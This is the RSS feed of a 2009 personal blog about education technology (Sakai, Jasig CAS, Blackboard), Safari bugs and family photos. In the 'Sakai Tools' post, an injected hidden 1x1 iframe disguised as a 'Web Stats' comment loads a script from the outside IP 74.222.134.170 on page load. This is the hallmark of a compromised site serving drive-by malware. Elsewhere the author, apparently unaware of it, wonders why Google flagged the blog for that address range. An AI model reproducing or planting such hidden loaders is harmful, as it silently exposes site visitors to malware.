<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Jason E. Shao</title>
	<atom:link href="http://jay.shao.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://jay.shao.org</link>
	<description>Thoughts and Ruminations, where I write about personal things, Rutgers, eLearning, JA-SIG, uPortal, Sakai, and other topics or commentary as it takes my fancy.</description>
	<lastBuildDate>Sat, 20 Jun 2009 23:12:54 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<!-- podcast_generator="podPress/8.8" -->
		<copyright>&#xA9;Jason Shao </copyright>
		<managingEditor>jay@shao.org (Jason Shao)</managingEditor>
		<webMaster>jay@shao.org(Jason Shao)</webMaster>
		<category>Personal</category>
		<ttl>1440</ttl>
		<itunes:keywords></itunes:keywords>
		<itunes:subtitle></itunes:subtitle>
		<itunes:summary>Thoughts and Ruminations, where I write about personal things, Rutgers, eLearning, JA-SIG, uPortal, Sakai, and other topics or commentary as it takes my fancy.</itunes:summary>
		<itunes:author>Jason Shao</itunes:author>
		<itunes:category text="Education">
  <itunes:category text="Education Technology"/>
</itunes:category>
<itunes:category text="Technology"/>
<itunes:category text="Kids &amp; Family"/>
		<itunes:owner>
			<itunes:name>Jason Shao</itunes:name>
			<itunes:email>jay@shao.org</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://jay.shao.org/wp-content/plugins/podpress/images/powered_by_podpress_large.jpg" />
		<image>
			<url>http://jay.shao.org/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
			<title>Jason E. Shao</title>
			<link>http://jay.shao.org</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Safari 4.0 (Mac) Breaks Keychain</title>
		<link>http://jay.shao.org/2009/06/20/safari-4-0-mac-breaks-keychain/</link>
		<comments>http://jay.shao.org/2009/06/20/safari-4-0-mac-breaks-keychain/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 23:12:51 +0000</pubDate>
		<dc:creator>jayshao</dc:creator>
				<category><![CDATA[Commentary]]></category>

		<guid isPermaLink="false">http://jay.shao.org/?p=661</guid>
		<description><![CDATA[» [Safari 4] PubSubAgent wants access to KeyChain Tim’s Weblog: &#8220;&#8221;

A bunch of support forum posts seem to confirm it too &#8211; that Safari 4 (possibly 4beta -> 4.0 upgrade) breaks the Keychain linkage &#8212; hopefully there&#8217;ll be a fix soon.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.hokkertjes.nl/2009/06/17/safari-4-pubsubagent-wants-access-to-keychain/">» [Safari 4] PubSubAgent wants access to KeyChain Tim’s Weblog</a>: &#8220;&#8221;</p>

<p>A bunch of support forum posts seem to confirm it too &#8211; that Safari 4 (possibly 4beta -> 4.0 upgrade) breaks the Keychain linkage &#8212; hopefully there&#8217;ll be a fix soon.</p>
]]></content:encoded>
			<wfw:commentRss>http://jay.shao.org/2009/06/20/safari-4-0-mac-breaks-keychain/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More Google Malware Woes</title>
		<link>http://jay.shao.org/2009/06/17/more-google-malware-woes/</link>
		<comments>http://jay.shao.org/2009/06/17/more-google-malware-woes/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 03:38:57 +0000</pubDate>
		<dc:creator>jayshao</dc:creator>
				<category><![CDATA[Commentary]]></category>

		<guid isPermaLink="false">http://jay.shao.org/?p=659</guid>
		<description><![CDATA[According to Safari 4 this blog is back on the Google malware list, though the Google Website Owner tools (which look neat) don&#8217;t appear to flag any warnings, and it&#8217;s not clear why that would be the case. The report sounds pretty innocuous, though oddly it shows up as being for: 74.222.134.0, which nslookup doesn&#8217;t report [...]]]></description>
			<content:encoded><![CDATA[<p>According to Safari 4 this blog is back on the Google malware list, though the Google Website Owner tools (which look neat) don&#8217;t appear to flag any warnings, and it&#8217;s not clear why that would be the case. The report sounds pretty innocuous, though oddly it shows up as being for: <span style="font-size: 14px;">74.222.134.0, which nslookup doesn&#8217;t report as the IP for http://jay.shao.org</span></p>

<blockquote>
<p style="font-weight: bold; margin-bottom: -0.8em; margin-top: 1.5em;"><strong>What is the current listing status for jay.shao.org?</strong></p>

<blockquote>This site is not currently listed as suspicious.</blockquote>
<p style="font-weight: bold; margin-bottom: -0.8em; margin-top: 1.5em;"><strong>What happened when Google visited this site?</strong></p>

<blockquote>Of the 2 pages we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-06-05, and suspicious content was never found on this site within the past 90 days.This site was hosted on 1 network(s) including <a style="color: #0000cc;" href="http://google.com/safebrowsing/diagnostic?site=AS:26347">AS26347 (DREAMHOST)</a>.</blockquote>
<p style="font-weight: bold; margin-bottom: -0.8em; margin-top: 1.5em;"><strong>Has this site acted as an intermediary resulting in further distribution of malware?</strong></p>

<blockquote>Over the past 90 days, jay.shao.org did not appear to function as an intermediary for the infection of any sites.</blockquote>
<p style="font-weight: bold; margin-bottom: -0.8em; margin-top: 1.5em;"><strong>Has this site hosted malware?</strong></p>

<blockquote>No, this site has not hosted malicious software over the past 90 days.</blockquote>
<p style="font-weight: bold; margin-bottom: -0.8em; margin-top: 1.5em;"><strong>Next steps:</strong></p>

<ul>
    <li><a style="color: #0000cc;" onclick="javascript:history.back();return false" href="http://google.com/safebrowsing/diagnostic?tpl=safari&amp;site=http://jay.shao.org/#">Return to the previous page.</a></li>
    <li>If you are the owner of this web site, you can request a review of your site using Google <a style="color: #0000cc;" href="http://www.google.com/webmasters/tools/">Webmaster Tools</a>. More information about the review process is available in Google&#8217;s <a style="color: #0000cc;" href="http://www.google.com/support/webmasters/bin/answer.py?answer=45432">Webmaster Help Center</a>.</li>
</ul>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://jay.shao.org/2009/06/17/more-google-malware-woes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blackboard buys Angel Learning &#8211; Washington Business Journal:</title>
		<link>http://jay.shao.org/2009/05/06/blackboard-buys-angel-learning-washington-business-journal/</link>
		<comments>http://jay.shao.org/2009/05/06/blackboard-buys-angel-learning-washington-business-journal/#comments</comments>
		<pubDate>Wed, 06 May 2009 21:40:28 +0000</pubDate>
		<dc:creator>jayshao</dc:creator>
				<category><![CDATA[Commentary]]></category>

		<guid isPermaLink="false">http://jay.shao.org/?p=651</guid>
		<description><![CDATA[Blackboard buys Angel Learning &#8211; Washington Business Journal &#8220;Education software maker Blackboard Inc., which was losing money a year ago, reported a break-even quarter and announced plans to acquire fellow education software maker Angel Learning Inc. for $95 million in cash and stock.&#8221;

Another one bites the dust&#8230;
]]></description>
			<content:encoded><![CDATA[<blockquote><a href="http://www.bizjournals.com/washington/stories/2009/05/04/daily63.html">Blackboard buys Angel Learning &#8211; Washington Business Journal</a> &#8220;Education software maker Blackboard Inc., which was losing money a year ago, reported a break-even quarter and announced plans to acquire fellow education software maker Angel Learning Inc. for $95 million in cash and stock.&#8221;</blockquote>

<p>Another one bites the dust&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://jay.shao.org/2009/05/06/blackboard-buys-angel-learning-washington-business-journal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sakai Tools &#8211; Inside/Outside the Box</title>
		<link>http://jay.shao.org/2009/04/04/sakai-tools-insideoutside-the-box/</link>
		<comments>http://jay.shao.org/2009/04/04/sakai-tools-insideoutside-the-box/#comments</comments>
		<pubDate>Sat, 04 Apr 2009 15:33:20 +0000</pubDate>
		<dc:creator>jayshao</dc:creator>
				<category><![CDATA[CampusEAI]]></category>
		<category><![CDATA[Portals]]></category>
		<category><![CDATA[Sakai]]></category>
		<category><![CDATA[integration]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://jay.shao.org/?p=646</guid>
		<description><![CDATA[Some interesting sakai-ux discussion tied in with thoughts I&#8217;ve been having recently related to native vs. integrated services and content in portal-type environments&#8230; where do the lines get drawn, and how do you handle horizontal services?

From a functionality/architecture point of view, the idea of loosly coupled integrations with external services like wikis, or Google Apps, [...]]]></description>
			<content:encoded><![CDATA[<p>Some interesting sakai-ux discussion tied in with thoughts I&#8217;ve been having recently related to native vs. integrated services and content in portal-type environments&#8230; where do the lines get drawn, and how do you handle horizontal services?</p>

<blockquote>From a functionality/architecture point of view, the idea of loosly coupled integrations with external services like wikis, or Google Apps, or other tools seems very attractive.

*however*

There are significant horizontal capability components that while not impossible to resolve may complicate that scenario. Initial thoughts:

* TOS &#8211; ensuring users understand external, but integrated tools may have separate terms of service, SLAs, data ownership/retention policies, etc.
* import/export -<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> I think the ability to &#8220;package&#8221; and port a course/site/project or archive it is something that lots of people want. Again possible (treat external resources as links? Embed their content? Cry?) but I think it has some strong implications in user experience and architecture
* Search &#8211; this one might actually be a bit more straightforward

I will make the observation/parallel from the portal world &#8211; CampusEAI is currently heavily involved in building out a social portal, that combines the integration of enterprise services &amp; applications with natively managed content like blogs, wikis, discussions, profile, etc. As we continue to get further down this road, some interesting intersections between user expectations and boundaries between external and internal content continue to present themselves up.

So far the balance we&#8217;ve come up with is largely &#8211; some stuff is in, some stuff is out, but there&#8217;s continual tension on the boarders of that distinction, and I&#8217;m not confident that that particular firewall will hold or be appropriate in the long run.

Not sure I have good answers for you <img src='http://jay.shao.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Just a brain-dump of my internal thought processes these days.</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://jay.shao.org/2009/04/04/sakai-tools-insideoutside-the-box/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kids Helping Out</title>
		<link>http://jay.shao.org/2009/03/31/kids-helping-out/</link>
		<comments>http://jay.shao.org/2009/03/31/kids-helping-out/#comments</comments>
		<pubDate>Wed, 01 Apr 2009 02:51:57 +0000</pubDate>
		<dc:creator>jayshao</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[chris]]></category>
		<category><![CDATA[kids]]></category>
		<category><![CDATA[leila]]></category>

		<guid isPermaLink="false">http://jay.shao.org/?p=644</guid>
		<description><![CDATA[Miss the little buggers (at grandma &#38; grandpas) already&#8230;


]]></description>
			<content:encoded><![CDATA[<p>Miss the little buggers (at grandma &amp; grandpas) already&#8230;</p>

<p><img src="http://jay.shao.org/wp-content/uploads/2009/03/img-0179.jpg" alt="IMG_0179.JPG" border="0" width="400" height="300" /></p>
]]></content:encoded>
			<wfw:commentRss>http://jay.shao.org/2009/03/31/kids-helping-out/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CoolIris nee Piclens</title>
		<link>http://jay.shao.org/2009/03/22/cooliris-nee-piclens/</link>
		<comments>http://jay.shao.org/2009/03/22/cooliris-nee-piclens/#comments</comments>
		<pubDate>Sun, 22 Mar 2009 06:41:06 +0000</pubDate>
		<dc:creator>jayshao</dc:creator>
				<category><![CDATA[Commentary]]></category>
		<category><![CDATA[photos]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[safari]]></category>

		<guid isPermaLink="false">http://jay.shao.org/?p=637</guid>
		<description><![CDATA[Just updated their Safari plugin &#8211; seems to work great in Safari 4.0 Beta. Also added a nifty embedded flash viewer that has lots of the same visualizations and whatnot.


              
            [...]]]></description>
			<content:encoded><![CDATA[<p>Just updated their Safari plugin &#8211; seems to work great in Safari 4.0 Beta. Also added a nifty embedded flash viewer that has lots of the same visualizations and whatnot.</p>

<p><object id="o" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
              width="400" height="300">
              <param name="movie" 
                  value="http://apps.cooliris.com/embed/cooliris.swf" />
              <param name="flashvars" 
                  value="feed=api://www.flickr.com/?user=jayshao" />
              <param name="allowFullScreen" value="true" />
              <param name="allowScriptAccess" value="always" />
              <embed type="application/x-shockwave-flash" 
                  src="http://apps.cooliris.com/embed/cooliris.swf" 
                  width="400" height="300" 
                  flashvars="feed=api://www.flickr.com/?user=jayshao" 
                  allowFullScreen="true" allowScriptAccess="always">
              </embed>
          </object></p>

<p>This is pretty cool &#8211; I may have to replace my default Flickr photo bit with this&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://jay.shao.org/2009/03/22/cooliris-nee-piclens/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Friday Snowfall</title>
		<link>http://jay.shao.org/2009/03/21/friday-snowfall/</link>
		<comments>http://jay.shao.org/2009/03/21/friday-snowfall/#comments</comments>
		<pubDate>Sun, 22 Mar 2009 04:12:05 +0000</pubDate>
		<dc:creator>jayshao</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[NJ]]></category>
		<category><![CDATA[snow]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://jay.shao.org/?p=635</guid>
		<description><![CDATA[

Loading the kids in the car



The front yard
]]></description>
			<content:encoded><![CDATA[<p><img src="http://jay.shao.org/wp-content/uploads/2009/03/img-0178.jpg" alt="IMG_0178.JPG" border="0" width="400" height="300" /></p>

<p>Loading the kids in the car</p>

<p><img src="http://jay.shao.org/wp-content/uploads/2009/03/img-0177.jpg" alt="IMG_0177.JPG" border="0" width="400" height="300" /></p>

<p>The front yard</p>
]]></content:encoded>
			<wfw:commentRss>http://jay.shao.org/2009/03/21/friday-snowfall/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>From Twitter: Facebook Meets Life Realities</title>
		<link>http://jay.shao.org/2009/03/10/from-twitter-facebook-meets-life-realities/</link>
		<comments>http://jay.shao.org/2009/03/10/from-twitter-facebook-meets-life-realities/#comments</comments>
		<pubDate>Tue, 10 Mar 2009 18:56:13 +0000</pubDate>
		<dc:creator>jayshao</dc:creator>
				<category><![CDATA[Commentary]]></category>
		<category><![CDATA[age]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[social]]></category>

		<guid isPermaLink="false">http://jay.shao.org/?p=631</guid>
		<description><![CDATA[Its a bit creepy when Facebook shows you the birthday of a friend who has passed away. The FB kids weren&#8217;t thinking about death and divorce.

http://twitter.com/gwachob
]]></description>
			<content:encoded><![CDATA[<blockquote>Its a bit creepy when Facebook shows you the birthday of a friend who has passed away. The FB kids weren&#8217;t thinking about death and divorce.</blockquote>

<p><a href="http://twitter.com/gwachob">http://twitter.com/gwachob</a></p>
]]></content:encoded>
			<wfw:commentRss>http://jay.shao.org/2009/03/10/from-twitter-facebook-meets-life-realities/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jasig CAS4</title>
		<link>http://jay.shao.org/2009/03/02/jasig-cas4/</link>
		<comments>http://jay.shao.org/2009/03/02/jasig-cas4/#comments</comments>
		<pubDate>Mon, 02 Mar 2009 17:13:27 +0000</pubDate>
		<dc:creator>jayshao</dc:creator>
				<category><![CDATA[jasig]]></category>
		<category><![CDATA[cas]]></category>
		<category><![CDATA[jasigconf08]]></category>

		<guid isPermaLink="false">http://jay.shao.org/?p=628</guid>
		<description><![CDATA[Listening to Scott talk about CAS4 work and effort. Core items he&#8217;s mentioned look to be:


Redesigned to better support non-CAS protocols (e.g. SAML, etc.)
Increased emphasis on SAML as a product
Better admin tools (service administration, workflow for registering services)
Eased configuration (w/o needing to edit deployerContext.xml)
Better extension points: captcha, &#8220;password expired&#8221; messages
Governance and other changes


Scott&#8217;s mentioned the [...]]]></description>
			<content:encoded><![CDATA[<p>Listening to Scott talk about CAS4 work and effort. Core items he&#8217;s mentioned look to be:</p>

<ul>
<li>Redesigned to better support non-CAS protocols (e.g. SAML, etc.)</li>
<li>Increased emphasis on SAML as a product</li>
<li>Better admin tools (service administration, workflow for registering services)</li>
<li>Eased configuration (w/o needing to edit deployerContext.xml)</li>
<li>Better extension points: captcha, &#8220;password expired&#8221; messages</li>
<li>Governance and other changes</li>
</ul>

<p>Scott&#8217;s mentioned the timeframe is end of this year, with Rutgers looking to go-live over the summer. Cas 3.3.x is still the production maintenance release, and there are intentions for a transition period, though some of the details have not yet been worked out.</p>
]]></content:encoded>
			<wfw:commentRss>http://jay.shao.org/2009/03/02/jasig-cas4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>At Jasig Dallas</title>
		<link>http://jay.shao.org/2009/03/01/at-jasig-dallas/</link>
		<comments>http://jay.shao.org/2009/03/01/at-jasig-dallas/#comments</comments>
		<pubDate>Sun, 01 Mar 2009 14:31:31 +0000</pubDate>
		<dc:creator>jayshao</dc:creator>
				<category><![CDATA[CampusEAI]]></category>
		<category><![CDATA[Portals]]></category>
		<category><![CDATA[cas]]></category>
		<category><![CDATA[jasig]]></category>
		<category><![CDATA[jasigdallas09]]></category>
		<category><![CDATA[peoplesoft]]></category>

		<guid isPermaLink="false">http://jay.shao.org/?p=623</guid>
		<description><![CDATA[In Dallas at the Jasig Conference, getting ready for the Board meeting where we&#8217;ll be looking at licensing, incubation, and some other strategic concerns related to open-source in HigherEd. Already had some great conversations about CAS &#38; credential replay, Peoplesoft integration, and open-source economics &#38; dynamics.

P.S. Ian Dolphin clarified over beers last night that he [...]]]></description>
			<content:encoded><![CDATA[<p>In Dallas at the Jasig Conference, getting ready for the Board meeting where we&#8217;ll be looking at licensing, incubation, and some other strategic concerns related to open-source in HigherEd. Already had some great conversations about CAS &amp; credential replay, Peoplesoft integration, and open-source economics &amp; dynamics.</p>

<p>P.S. Ian Dolphin clarified over beers last night that he <em>has not</em> actually hit 2 million miles, and that&#8217;s a meme that Chuck Severance has propagated through the net space</p>
]]></content:encoded>
			<wfw:commentRss>http://jay.shao.org/2009/03/01/at-jasig-dallas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
